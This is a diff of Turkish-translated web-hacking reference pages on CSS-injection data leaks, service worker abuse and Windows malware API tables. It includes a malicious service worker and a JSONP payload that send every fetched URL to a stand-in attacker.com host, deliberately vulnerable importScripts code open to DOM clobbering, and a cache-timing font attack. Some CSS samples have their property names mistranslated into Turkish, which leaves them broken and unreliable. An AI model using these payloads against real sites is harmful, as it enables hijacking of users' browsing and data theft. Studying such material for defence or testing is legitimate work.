Kavram, bir animasyon kullanarak bir `div`'in genişliğini aşamalı olarak genişletmeyi sağlayarak, bir karakterin 'sonek' kısmından 'önek' kısmına geçiş yapmasına izin verir. Bu süreç, metni iki bölüme ayırır: Kavram, bir animasyon kullanarak bir `div`'in genişliğini aşamalı olarak genişletmeyi sağlayarak, bir seferde bir karakterin 'sonek' kısmından 'önek' kısmına geçmesine izin verir. Bu süreç, metni iki bölüme ayırır:
1. **Önek**: İlk satır. 1. **Önek**: İlk satır.
2. **Sonek**: Sonraki satır(lar). 2. **Sonek**: Sonraki satır(lar).
@ -272,13 +270,13 @@ B
**CADB** **CADB**
Bu geçiş sırasında, her yeni karakterin öne katılmasıyla **unicode-range hilesi** kullanılarak her karakter tanımlanır. Bu, fontu Comic Sans'a değiştirerek gerçekleştirilir, bu da varsayılan fonttan önemli ölçüde daha uzun olan Comic Sans'ın dikey bir kaydırma çubuğunu tetiklemesine neden olur. Bu kaydırma çubuğunun görünümü, önek kısmında yeni bir karakterin varlığını dolaylı olarak ortaya çıkarır. Bu geçiş sırasında, her yeni karakterin öne katılmasıyla **unicode-range hilesi** kullanılarak tanımlanır. Bu, varsayılan fontu Comic Sans'a değiştirerek gerçekleştirilir, bu da varsayılan fonttan belirgin şekilde daha uzun olan bir fonta geçişi tetikler ve dolayısıyla dikey bir kaydırma çubuğunu tetikler. Bu kaydırma çubuğunun görünümü, önek kısmında yeni bir karakterin varlığını dolaylı olarak ortaya çıkarır.
Bu yöntem, karakterlerin ortaya çıktığı şekilde benzersiz karakterlerin tespitine olanak tanır, ancak tekrarlanan hangi karakterin olduğunu belirtmez, yalnızca bir tekrarın gerçekleştiğini gösterir. Bu yöntem, karakterlerin ortaya çıkışını tespit etmeyi sağlasa da, yinelenen hangi karakterin olduğunu belirtmez, yalnızca bir yinelenme olduğunu gösterir.
{% hint style="info" %} {% hint style="info" %}
Temelde, **unicode-range bir karakteri tespit etmek için kullanılır**, ancak harici bir font yüklemek istemediğimizden başka bir yol bulmamız gerekiyor.\ Temelde, **unicode-range**, bir karakteri tespit etmek için kullanılır, ancak harici bir font yüklemek istemediğimizden başka bir yol bulmamız gerekmektedir.\
**Karakter** bulunduğunda, ona önceden yüklenmiş **Comic Sans fontu** verilir, bu da karakteri **büyütür** ve bir **kaydırma çubuğu tetikler** ve böylece **bulunan karakteri sızdırır**. **Karakter** bulunduğunda, ona önceden yüklenmiş **Comic Sans fontu** verilir, bu da karakteri **büyütür** ve yeni karakterin varlığını **sızdıracak bir kaydırma çubuğu tetikler**.
{% endhint %} {% endhint %}
PoC'dan çıkarılan kodu kontrol edin: PoC'dan çıkarılan kodu kontrol edin:
@ -402,16 +400,16 @@ div::-webkit-scrollbar {
arkaplan: mavi; arkaplan: mavi;
} }
/* side-channel */ /* yan kanal */
div::-webkit-scrollbar:vertical { div::-webkit-scrollbar:dikey {
arkaplan: mavi var(--leak); arkaplan: mavi var(--sızıntı);
} }
``` ```
### Metin düğümü sızdırma (III): varsayılan bir yazı tipi ile karakter kümesini sızdırma, öğeleri gizleyerek (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Metin düğümü sızdırma (III): varsayılan bir yazı tipi ile karakter kümesini sızdırma, öğeleri gizleyerek (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durum bir öncekine çok benzer, ancak bu durumda belirli **karakterleri diğerlerinden daha büyük yapmanın amacı, bir düğmeye basılmaması gereken bir bot veya yüklenmeyen bir resim gibi bir şeyi gizlemektir. Bu nedenle, eylemi (veya eylemin olmamasını) ölçebilir ve belirli bir karakterin metin içinde mevcut olup olmadığını bilebiliriz. Bu durum bir öncekine çok benzer, ancak bu durumda belirli **karakterlerin diğerlerinden daha büyük olmasının amacı, bir düğmeye basılmaması gereken bir bot veya yüklenmeyen bir resim gibi bir şeyi gizlemektir**. Bu nedenle, eylemi (veya eylemin olmamasını) ölçebilir ve belirli bir karakterin metin içinde mevcut olup olmadığını bilebiliriz.
### Metin düğümü sızdırma (III): önbellek zamanlaması ile karakter kümesini sızdırma (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Metin düğümü sızdırma (III): önbellek zamanlaması ile karakter kümesini sızdırma (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
@ -425,15 +423,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041; unicode-range: U+0041;
} }
``` ```
Eşleşme varsa, **font `/static/bootstrap.min.css?q=1` adresinden yüklenecektir**. Başarılı bir şekilde yüklenmese de, **tarayıcı bunu önbelleğe almalı**, ve önbellek olmasa bile, **304 not modified** mekanizması olduğundan, **yanıt diğer şeylerden daha hızlı olmalıdır**. Eşleşme varsa, **font `/static/bootstrap.min.css?q=1` adresinden yüklenecektir**. Başarılı bir şekilde yüklenmese de, **tarayıcı bunu önbelleğe almalıdır**, ve eğer önbellek yoksa bile, **304 not modified** mekanizması vardır, bu yüzden **yanıt diğer şeylerden daha hızlı olmalıdır**.
Ancak, önbelleğe alınan yanıt ile önbelleğe alınmayan yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunu belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmadığı ve ikinci sorunun botun gerçekten düşünceli olan `disk-cache-size=1` bayrağını kullandığıdır. Ancak, önbelleğe alınan yanıt ile alınmayan yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunu belirtti: Ancak test ettikten sonra, ilk sorunun hızın çok farklı olmadığını ve ikinci sorunun botun gerçekten düşünceli olan `disk-cache-size=1` bayrağını kullandığını buldum.
### Metin düğümü sızdırma (III): yüzlerce yerel "font" yükleyerek karakter kümesini zamanlayarak sızdırma (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Metin düğümü sızdırma (III): yüzlerce yerel "font" yükleyerek karakter setini zamanlayarak sızdırma (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durumda, eşleşme gerçekleştiğinde aynı kökten **yüzlerce sahte font yüklemesi için CSS** belirtebilirsiniz. Bu şekilde **ne kadar sürede olduğunu ölçebilirsiniz** ve bir karakterin görünüp görünmediğini şöyle belirleyebilirsiniz: Bu durumda, eşleşme gerçekleştiğinde aynı kökten **yüzlerce sahte font yüklemesi için CSS** belirtebilirsiniz. Bu şekilde **ne kadar zaman aldığını ölçebilirsiniz** ve bir karakterin görünüp görünmediğini şöyle bulabilirsiniz:
```css ```css
@font-face { @font-face {
font-family: "A1"; font-family: "A1";
@ -459,20 +457,20 @@ time.sleep(30)
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -4,19 +4,19 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**. * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**. * **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@
## Temel Bilgiler ## Temel Bilgiler
Bir **servis işçisi**, tarayıcınız tarafından arka planda çalıştırılan, herhangi bir web sayfasından bağımsız olarak çalışan, böylece **çevrimdışı ve arka plan işleme** yeteneklerini artıran özellikleri etkinleştiren bir betiktir. Servis işçileri hakkında detaylı bilgiye [buradan](https://developers.google.com/web/fundamentals/primers/service-workers) ulaşılabilir. Savunmasız bir web alanında servis işçilerini istismar ederek, saldırganlar, o alan içindeki tüm sayfalarla kurbanın etkileşimini kontrol altına alabilirler. **Servis işçisi**, tarayıcınız tarafından arka planda çalıştırılan, herhangi bir web sayfasından bağımsız olarak çalışan, böylece **çevrimdışı ve arka plan işleme** yeteneklerini artıran özellikleri etkinleştiren bir betiktir. Servis işçileri hakkında detaylı bilgiye [buradan](https://developers.google.com/web/fundamentals/primers/service-workers) ulaşılabilir. Savunmasız bir web alanı içinde servis işçilerini istismar ederek, saldırganlar, o alan içindeki tüm sayfalarla kurbanın etkileşimini kontrol altına alabilirler.
### Varolan Servis İşçilerini Kontrol Etme ### Varolan Servis İşçilerini Kontrol Etme
@ -33,23 +33,23 @@ Varolan servis işçileri, **Geliştirici Araçları**'ndaki **Uygulama** sekmes
### İtme Bildirimleri ### İtme Bildirimleri
**İtme bildirimi izinleri**, bir **servis işçisinin** doğrudan kullanıcı etkileşimi olmadan sunucu ile iletişim kurma yeteneğini etkiler. İzinler reddedildiğinde, servis işçisinin sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinler verildiğinde, güvenlik risklerini artırarak potansiyel saldırıların alınmasına ve yürütülmesine olanak tanır. **İtme bildirimi izinleri**, bir **servis işçisinin** doğrudan kullanıcı etkileşimi olmadan sunucu ile iletişim kurma yeteneğini etkiler. İzinler reddedildiğinde, servis işçisinin sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinler verildiğinde, güvenlik risklerini artırarak potansiyel saldırıların alınmasını ve yürütülmesini sağlar.
## Servis İşçisi Oluşturarak Saldırı ## Servis İşçisi Oluşturarak Saldırı
Bu zafiyeti istismar etmek için şunları bulmanız gerekmektedir: Bu zafiyeti sömürmek için şunları bulmanız gerekmektedir:
* Sunucuya **keyfi JS** dosyaları yüklemek için bir yol ve yüklenen JS dosyasının servis işçisini yüklemek için bir **XSS** bulun * Sunucuya **keyfi JS** dosyaları yüklemek için bir yol ve yüklenen JS dosyasının servis işçisini yüklemek için bir **XSS** bulun
* **Manipüle edebileceğiniz (keyfi JS kodu ile)** savunmasız bir JSONP isteği ve bir **XSS** ile **zararlı bir servis işçisi yükleyecek bir yük** içeren JSONP'yi **yüklemek** için. * **Manipüle edebileceğiniz (keyfi JS kodu ile)** savunmasız bir **JSONP isteği** ve bir **XSS** ile **JSONP'yi yükleyecek bir yük** içeren bir saldırıyı gerçekleştirebileceğiniz bir **vulnerability** ve **zararlı bir servis işçisi yükleyin**.
Aşağıdaki örnekte, `fetch` etkinliğini dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek yeni bir servis işçisi **kaydetmek** için gereken kodu sunacağım: Aşağıdaki örnekte, `fetch` olayını dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek yeni bir servis işçisi **kaydetmek için** bir kod sunacağım:
```javascript ```javascript
self.addEventListener('fetch', function(e) { self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) { e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url) fetch('https://attacker.com/fetch_url/' + e.request.url)
}); });
``` ```
Ve aşağıdaki kod, işçiyi kaydedecek olan kodu (XSS'yi kötüye kullanarak yürütebileceğiniz kod) gösterecektir. Bu durumda, saldırganın sunucusuna bir GET isteği gönderilecek ve hizmet işçisinin kaydının başarılı olup olmadığı bildirilecektir: Ve aşağıdaki kod, işçiyi **kaydedecek** olan kod (uygulayarak **XSS**'yi kötüye kullanabilmeniz gereken kod). Bu durumda, bir **GET** isteği, hizmet işçisinin kaydının başarılı olup olmadığını **bildiren** saldırganın sunucusuna gönderilecektir:
```javascript ```javascript
<script> <script>
window.addEventListener('load', function() { window.addEventListener('load', function() {
@ -71,17 +71,17 @@ Vulnerable JSONP ucuza kullanıldığında değeri `var sw` içine koymalısın
```javascript ```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"; var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
``` ```
**Service Worker** kötüye kullanmak için çok yararlı olacak [**Shadow Workers**](https://shadow-workers.github.io) adında bir **C2** bulunmaktadır. **Hizmet İşçilerini** istismar etmek için [**Shadow Workers**](https://shadow-workers.github.io) adında bir **C2** bulunmaktadır ki bu zayıflıkları istismar etmek için oldukça faydalı olacaktır.
**24 saatlik önbellek yönergesi**, bir XSS güvenlik açığı düzeltmesinden sonra en fazla 24 saat boyunca kötü niyetli veya tehlikeli bir **hizmet işçisinin (SW)** yaşamını sınırlar, çevrimiçi istemci durumu varsayılarak. Zayıflığı en aza indirmek için site işletmecileri SW betiğinin Zaman-Canlılığı (TTL)'ni düşürebilir. Geliştiricilere hızlı devre dışı bırakma için bir [**hizmet işçisi kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) oluşturmaları da tavsiye edilir. **24 saatlik önbellek yönergesi**, bir XSS zayıflığı düzeltmesinden sonra en fazla 24 saat boyunca kötü amaçlı veya tehlikeli bir **hizmet işçisinin (SW)** yaşamını sınırlar, çevrimiçi istemci durumu varsayılarak. Zayıflığı en aza indirmek için site işletmecileri, SW betiğinin Zaman-Canlılığı (TTL)'nı düşürebilir. Geliştiricilere ayrıca hızlı devre dışı bırakma için bir [**hizmet işçisi kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) oluşturmaları önerilir.
## DOM Clobbering aracılığıyla SW'de `importScripts`'in Kötüye Kullanılması ## DOM Clobbering aracılığıyla SW'de `importScripts`'in Kötüye Kullanılması
Bir Hizmet İşçisinden çağrılan **`importScripts`** işlevi, **farklı bir etki alanından bir betiği içe aktarabilir**. Bu işlev, bir saldırganın değiştirebileceği bir **parametre kullanılarak** çağrıldığında, saldırgan **kendi etki alanındaki bir JS betiğini içe aktarabilir** ve XSS alabilir. Bir Hizmet İşçisinden çağrılan **`importScripts`** işlevi, **farklı bir etki alanından bir betiği içe aktarabilir**. Bu işlev, bir saldırganın **değiştirebileceği bir parametre** kullanılarak çağrıldığında, saldırganın **kendi etki alanından bir JS betiğini içe aktarmasına** ve XSS almasına olanak tanır.
**Bu, CSP korumalarını bile atlar.** **Bu, CSP korumalarını bile atlar.**
**Örnek zafiyetli kod:** **Örnek zayıf kod:**
* **index.html** * **index.html**
```html ```html
@ -99,13 +99,13 @@ self.importScripts(host + "/sw_extra.js");
``` ```
### DOM Clobbering ile ### DOM Clobbering ile
DOM Clobbering hakkında daha fazla bilgi için şu bağlantıya bakın: DOM Clobbering'in ne olduğu hakkında daha fazla bilgi için şu bağlantıya bakın:
{% content-ref url="dom-clobbering.md" %} {% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md) [dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %} {% endcontent-ref %}
Eğer SW'nin **`importScripts`** çağırdığı URL/domain, **bir HTML öğesinin içindeyse**, SW'nin **kendi alan adınızdan bir betiği yüklemesi için DOM Clobbering ile değiştirilebilir**. Eğer SW'nin **`importScripts`** çağrısını yapmak için kullandığı URL/domain, **bir HTML öğesinin içindeyse**, bu durumda SW'nin **kendi alan adınızdan bir betiği yüklemesi için DOM Clobbering ile değiştirilebilir**.
Bu konunun örneği için referans bağlantısına bakın. Bu konunun örneği için referans bağlantısına bakın.
@ -115,18 +115,18 @@ Bu konunun örneği için referans bağlantısına bakın.
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!</summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir ** **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
</details> </details>

View file

@ -2,13 +2,13 @@
<details> <details>
<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu * Özel [**NFT'lerin**](https://opensea.io/collection/the-peass-family) yer aldığı [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -27,23 +27,23 @@ HackTricks'ı desteklemenin diğer yolları:
### Ağ ### Ağ
| Ham Soketler | WinAPI Soketler | | Ham Soketler | WinAPI Soketler |
| ------------ | --------------- | | ------------- | -------------- |
| socket() | WSAStratup() | | socket() | WSAStratup() |
| bind() | bind() | | bind() | bind() |
| listen() | listen() | | listen() | listen() |
| accept() | accept() | | accept() | accept() |
| connect() | connect() | | connect() | connect() |
| read()/recv()| recv() | | read()/recv() | recv() |
| write() | send() | | write() | send() |
| shutdown() | WSACleanup() | | shutdown() | WSACleanup() |
### Kalıcılık ### Kalıcılık
| Kayıt Defteri | Dosya | Servis | | Kayıt Defteri | Dosya | Servis |
| ---------------- | ------------- | --------------------------- | | ---------------- | ------------- | ---------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager | | RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() | | RegOpenKeyEx() | CopyFile() | CreateService() |
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher()| | RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
| RegDeleteKeyEx() | WriteFile() | | | RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | | | RegGetValue() | ReadFile() | |
@ -60,8 +60,8 @@ HackTricks'ı desteklemenin diğer yolları:
### Anti-Analiz/VM ### Anti-Analiz/VM
| Fonksiyon Adı | Derleme Talimatları | | Fonksiyon Adı | Montaj Talimatları |
| --------------------------------------------------------- | ------------------- | | --------------------------------------------------------- | ------------------ |
| IsDebuggerPresent() | CPUID() | | IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() | | GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | | | GlobalMemoryStatusEx() | |
@ -72,7 +72,7 @@ HackTricks'ı desteklemenin diğer yolları:
### Gizlilik ### Gizlilik
| Adı | | | Adı | |
| ----------------------- | -------------------------------------------------------------------------- | | ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Bellek tahsisi (sıkıştırıcılar) | | VirtualAlloc | Bellek tahsisi (sıkıştırıcılar) |
| VirtualProtect | Bellek izni değiştirme (bir bölüme yürütme izni veren sıkıştırıcı) | | VirtualProtect | Bellek izni değiştirme (bir bölüme yürütme izni veren sıkıştırıcı) |
| ReadProcessMemory | Harici işlemlere enjeksiyon | | ReadProcessMemory | Harici işlemlere enjeksiyon |
@ -81,12 +81,12 @@ HackTricks'ı desteklemenin diğer yolları:
| CreateRemoteThread | DLL/İşlem enjeksiyonu... | | CreateRemoteThread | DLL/İşlem enjeksiyonu... |
